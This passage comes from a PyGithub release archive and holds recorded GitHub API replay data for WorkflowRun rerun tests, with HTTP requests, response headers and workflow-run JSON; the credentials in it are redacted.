m/users/nuang-ee/events{/privacy}","received_events_url":"https://api.github.com/users/nuang-ee/received_events","type":"User","site_admin":false},"run_attempt":1,"referenced_workflows":[],"run_started_at":"2023-01-13T10:02:50Z","triggering_actor":{"login":"nuang-ee","id":50770626,"node_id":"MDQ6VXNlcjUwNzcwNjI2","avatar_url":"https://avatars.githubusercontent.com/u/50770626?v=4","gravatar_id":"","url":"https://api.github.com/users/nuang-ee","html_url":"https://github.com/nuang-ee","followers_url":"https://api.github.com/users/nuang-ee/followers","following_url":"https://api.github.com/users/nuang-ee/following{/other_user}","gists_url":"https://api.github.com/users/nuang-ee/gists{/gist_id}","starred_url":"https://api.github.com/users/nuang-ee/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/nuang-ee/subscriptions","organizations_url":"https://api.github.com/users/nuang-ee/orgs","repos_url":"https://api.github.com/users/nuang-ee/repos","events_url":"https://api.github.com/users/nuang-ee/events{/privacy}","received_events_url":"https://api.github.com/users/nuang-ee/received_events","type":"User","site_admin":false},"jobs_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/3910280793/jobs","logs_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/3910280793/logs","check_suite_url":"https://api.github.com/repos/PyGithub/PyGithub/check-suites/10351510366","artifacts_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/3910280793/artifacts","cancel_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/3910280793/cancel","rerun_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/3910280793/rerun","previous_attempt_url":null,"workflow_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/workflows/1903133","head_commit":{"id":"867fef461ec43e56fab73556ac4570d663a6a733","tree_id":"be6b8e31e143ad936bbeaaa292a899e3ef056030","message":"update tests","timestamp":"2023-01-13T10:02:11Z","author":{"name":"Sasha Chung","email":"sasha.chung@bucketplace.net"},"committer":{"name":"Sasha Chung","email":"sasha.chung@bucketplace.net"}},"repository":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments"},"head_repository":{"id":587206601,"node_id":"R_kgDOIwAPyQ","name":"PyGithub","full_name":"nuang-ee/PyGithub","private":false,"owner":{"login":"nuang-ee","id":50770626,"node_id":"MDQ6VXNlcjUwNzcwNjI2","avatar_url":"https://avatars.githubusercontent.com/u/50770626?v=4","gravatar_id":"","url":"https://api.github.com/users/nuang-ee","html_url":"https://github.com/nuang-ee","followers_url":"https://api.github.com/users/nuang-ee/followers","following_url":"https://api.github.com/users/nuang-ee/following{/other_user}","gists_url":"https://api.github.com/users/nuang-ee/gists{/gist_id}","starred_url":"https://api.github.com/users/nuang-ee/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/nuang-ee/subscriptions","organizations_url":"https://api.github.com/users/nuang-ee/orgs","repos_url":"https://api.github.com/users/nuang-ee/repos","events_url":"https://api.github.com/users/nuang-ee/events{/privacy}","received_events_url":"https://api.github.com/users/nuang-ee/received_events","type":"User","site_admin":false},"html_url":"https://github.com/nuang-ee/PyGithub","description":"Typed interactions with the GitHub API v3","fork":true,"url":"https://api.github.com/repos/nuang-ee/PyGithub","forks_url":"https://api.github.com/repos/nuang-ee/PyGithub/forks","keys_url":"https://api.github.com/repos/nuang-ee/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/nuang-ee/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/nuang-ee/PyGithub/teams","hooks_url":"https://api.github.com/repos/nuang-ee/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/nuang-ee/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/nuang-ee/PyGithub/events","assignees_url":"https://api.github.com/repos/nuang-ee/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/nuang-ee/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/nuang-ee/PyGithub/tags","blobs_url":"https://api.github.com/repos/nuang-ee/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/nuang-ee/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/nuang-ee/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/nuang-ee/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/nuang-ee/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/nuang-ee/PyGithub/languages","stargazers_url":"https://api.github.com/repos/nuang-ee/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/nuang-ee/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/nuang-ee/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/nuang-ee/PyGithub/subscription","commits_url":"https://api.github.com/repos/nuang-ee/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/nuang-ee/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/nuang-ee/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/nuang-ee/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/nuang-ee/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/nuang-ee/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/nuang-ee/PyGithub/merges","archive_url":"https://api.github.com/repos/nuang-ee/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/nuang-ee/PyGithub/downloads","issues_url":"https://api.github.com/repos/nuang-ee/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/nuang-ee/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/nuang-ee/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/nuang-ee/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/nuang-ee/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/nuang-ee/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/nuang-ee/PyGithub/deployments"}} https POST api.github.com None /repos/PyGithub/PyGithub/actions/runs/3910280793/rerun {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 403 [('Server', 'GitHub.com'), ('Date', 'Fri, 13 Jan 2023 13:19:55 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '60'), ('X-RateLimit-Remaining', '25'), ('X-RateLimit-Reset', '1673619381'), ('X-RateLimit-Used', '35'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'CBBF:42BA:0E45:5D33:63C15A7B')] {"message":"Must have admin rights to Repository.","documentation_url":"https://docs.github.com/rest/reference/actions#re-run-a-workflow"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/WorkflowRun.test_rerun_failed_jobs.txt0000644000175100001660000003617614756101563025745 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub/actions/runs/3881497935 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Tue, 30 Jul 2024 21:36:34 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP,Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"446287674f36f42b0bb440f6c063fe60735b3a9259a44fabc067d624156ec6af"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:org, admin:repo_hook, codespace, copilot, delete:packages, delete_repo, gist, read:project, repo, user, workflow, write:packages'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2024-09-05 20:23:57 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4947'), ('X-RateLimit-Reset', '1722377635'), ('X-RateLimit-Used', '53'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', '7FC2:149E48:12F6AFC:14113DA:66A95CE2')] {"id":3881497935,"name":"CI","node_id":"WFR_kwLOMdOCzc8AAAACXiiEpg","head_branch":"main","head_sha":"9268749d34be56976fbc1fedd1a72aad057ab751","path":".github/workflows/ci.yml","display_title":"Create ci.yml","run_number":1,"event":"push","status":"completed","conclusion":"failure","workflow_id":110005609,"check_suite_id":26611160426,"check_suite_node_id":"CS_kwDOMdOCzc8AAAAGMiYVag","url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/3881497935","html_url":"https://github.com/PyGithub/PyGithub/actions/runs/3881497935","pull_requests":[],"created_at":"2024-07-30T20:58:42Z","updated_at":"2024-07-30T21:36:21Z","actor":{"login":"chrisgavin","id":5584439,"node_id":"MDQ6VXNlcjU1ODQ0Mzk=","avatar_url":"https://avatars.githubusercontent.com/u/5584439?v=4","gravatar_id":"","url":"https://api.github.com/users/chrisgavin","html_url":"https://github.com/chrisgavin","followers_url":"https://api.github.com/users/chrisgavin/followers","following_url":"https://api.github.com/users/chrisgavin/following{/other_user}","gists_url":"https://api.github.com/users/chrisgavin/gists{/gist_id}","starred_url":"https://api.github.com/users/chrisgavin/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/chrisgavin/subscriptions","organizations_url":"https://api.github.com/users/chrisgavin/orgs","repos_url":"https://api.github.com/users/chrisgavin/repos","events_url":"https://api.github.com/users/chrisgavin/events{/privacy}","received_events_url":"https://api.github.com/users/chrisgavin/received_events","type":"User","site_admin":true},"run_attempt":2,"referenced_workflows":[],"run_started_at":"2024-07-30T21:36:08Z","triggering_actor":{"login":"chrisgavin","id":5584439,"node_id":"MDQ6VXNlcjU1ODQ0Mzk=","avatar_url":"https://avatars.githubusercontent.com/u/5584439?v=4","gravatar_id":"","url":"https://api.github.com/users/chrisgavin","html_url":"https://github.com/chrisgavin","followers_url":"https://api.github.com/users/chrisgavin/followers","following_url":"https://api.github.com/users/chrisgavin/following{/other_user}","gists_url":"https://api.github.com/users/chrisgavin/gists{/gist_id}","starred_url":"https://api.github.com/users/chrisgavin/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/chrisgavin/subscriptions","organizations_url":"https://api.github.com/users/chrisgavin/orgs","repos_url":"https://api.github.com/users/chrisgavin/repos","events_url":"https://api.github.com/users/chrisgavin/events{/privacy}","received_events_url":"https://api.github.com/users/chrisgavin/received_events","type":"User","site_admin":true},"jobs_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/3881497935/jobs","logs_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/3881497935/logs","check_suite_url":"https://api.github.com/repos/PyGithub/PyGithub/check-suites/26611160426","artifacts_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/3881497935/artifacts","cancel_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/3881497935/cancel","rerun_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/3881497935/rerun","previous_attempt_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/3881497935/attempts/1","workflow_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/workflows/110005609","head_commit":{"id":"9268749d34be56976fbc1fedd1a72aad057ab751","tree_id":"e41340d7709ded8b3dc4c82683bc2112115d80e7","message":"Create ci.yml","timestamp":"2024-07-30T20:58:37Z","author":{"name":"Chris Gavin","email":"chris@chrisgavin.me"},"committer":{"name":"GitHub","email":"noreply@github.com"}},"repository":{"id":835945165,"node_id":"R_kgDOMdOCzQ","name":"workflow-rerun-test","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":106371861,"node_id":"O_kgDOBlcbFQ","avatar_url":"https://avatars.githubusercontent.com/u/106371861?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":null,"fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments"},"head_repository":{"id":835945165,"node_id":"R_kgDOMdOCzQ","name":"workflow-rerun-test","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":106371861,"node_id":"O_kgDOBlcbFQ","avatar_url":"https://avatars.githubusercontent.com/u/106371861?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":null,"fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments"}} https POST api.github.com None /repos/PyGithub/PyGithub/actions/runs/3881497935/rerun-failed-jobs {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 201 [('Date', 'Tue, 30 Jul 2024 21:36:34 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '2'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP,Accept-Encoding, Accept, X-Requested-With'), ('ETag', '"225009617840f2ecf458d50358d8c01565f3c55bfbcbedba0438385489d37bef"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:org, admin:repo_hook, codespace, copilot, delete:packages, delete_repo, gist, read:project, repo, user, workflow, write:packages'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2024-09-05 20:23:57 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4946'), ('X-RateLimit-Reset', '1722377635'), ('X-RateLimit-Used', '54'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Server', 'github.com'), ('X-GitHub-Request-Id', '7FC3:3A1F3A:143AC2:15676A:66A95CE2')] {} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/WorkflowRun.test_rerun_with_successful_run.txt0000644000175100001660000003502214756101563027567 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub/actions/runs/3881497935 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Fri, 13 Jan 2023 13:19:56 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'public, max-age=60, s-maxage=60'), ('Vary', 'Accept, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"f21ec6fcb14acc25564041c0c4db5b83978384c955ada9236f690c06e230a074"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '60'), ('X-RateLimit-Remaining', '22'), ('X-RateLimit-Reset', '1673619381'), ('X-RateLimit-Used', '38'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'CBC2:0655:4CD6:9C43:63C15A7C')] {"id":3881497935,"name":"CI","node_id":"WFR_kwLOADYVqs7nWvVP","head_branch":"feat/workflow-run","head_sha":"c6e5cac67a58a4eb11f1f28567a77a6e2cc8ee98","path":".github/workflows/ci.yml","display_title":"TEST PR","run_number":930,"event":"pull_request","status":"completed","conclusion":"success","workflow_id":1903133,"check_suite_id":10279069747,"check_suite_node_id":"CS_kwDOADYVqs8AAAACZK4oMw","url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/3881497935","html_url":"https://github.com/PyGithub/PyGithub/actions/runs/3881497935","pull_requests":[],"created_at":"2023-01-10T08:24:19Z","updated_at":"2023-01-10T08:28:20Z","actor":{"login":"nuang-ee","id":50770626,"node_id":"MDQ6VXNlcjUwNzcwNjI2","avatar_url":"https://avatars.githubusercontent.com/u/50770626?v=4","gravatar_id":"","url":"https://api.github.com/users/nuang-ee","html_url":"https://github.com/nuang-ee","followers_url":"https://api.github.com/users/nuang-ee/followers","following_url":"https://api.github.com/users/nuang-ee/following{/other_user}","gists_url":"https://api.github.com/users/nuang-ee/gists{/gist_id}","starred_url":"https://api.github.com/users/nuang-ee/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/nuang-ee/subscriptions","organizations_url":"https://api.github.com/users/nuang-ee/orgs","repos_url":"https://api.github.com/users/nuang-ee/repos","events_url":"https://api.github.com/users/nuang-ee/events{/privacy}","received_events_url":"https://api.github.com/users/nuang-ee/received_events","type":"User","site_admin":false},"run_attempt":1,"referenced_workflows":[],"run_started_at":"2023-01-10T08:24:19Z","triggering_actor":{"login":"nuang-ee","id":50770626,"node_id":"MDQ6VXNlcjUwNzcwNjI2","avatar_url":"https://avatars.githubusercontent.com/u/50770626?v=4","gravatar_i